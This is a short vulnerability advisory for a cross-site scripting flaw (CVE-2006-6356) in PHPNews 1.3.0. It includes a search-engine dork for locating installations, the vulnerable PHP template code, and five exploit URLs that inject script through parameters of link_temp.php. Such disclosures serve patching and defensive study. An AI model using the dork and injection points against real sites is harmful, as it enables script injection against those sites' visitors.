PHPNews 1.3.0 XSS

2006.12.08

Credit: emulamex

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2006-6356

CWE: CWE-79

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

PHP Script: PHPNews 1.3.0
Class: XSS
Website: http://newsphp.sourceforge.net
Found by: Detefix
dork: inurl:phpnews

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- Vulnerable Code:

<?php
print<<<EOT
<a href="$url?action=fullnews&showcomments=1&id=$id">$subject</a> by $username on $time<br />

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- Exploits:

http://[target]/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?username=[XSS]

http://[target]/[path-to-PHPNews]/templates/link_temp.php?time=[XSS]

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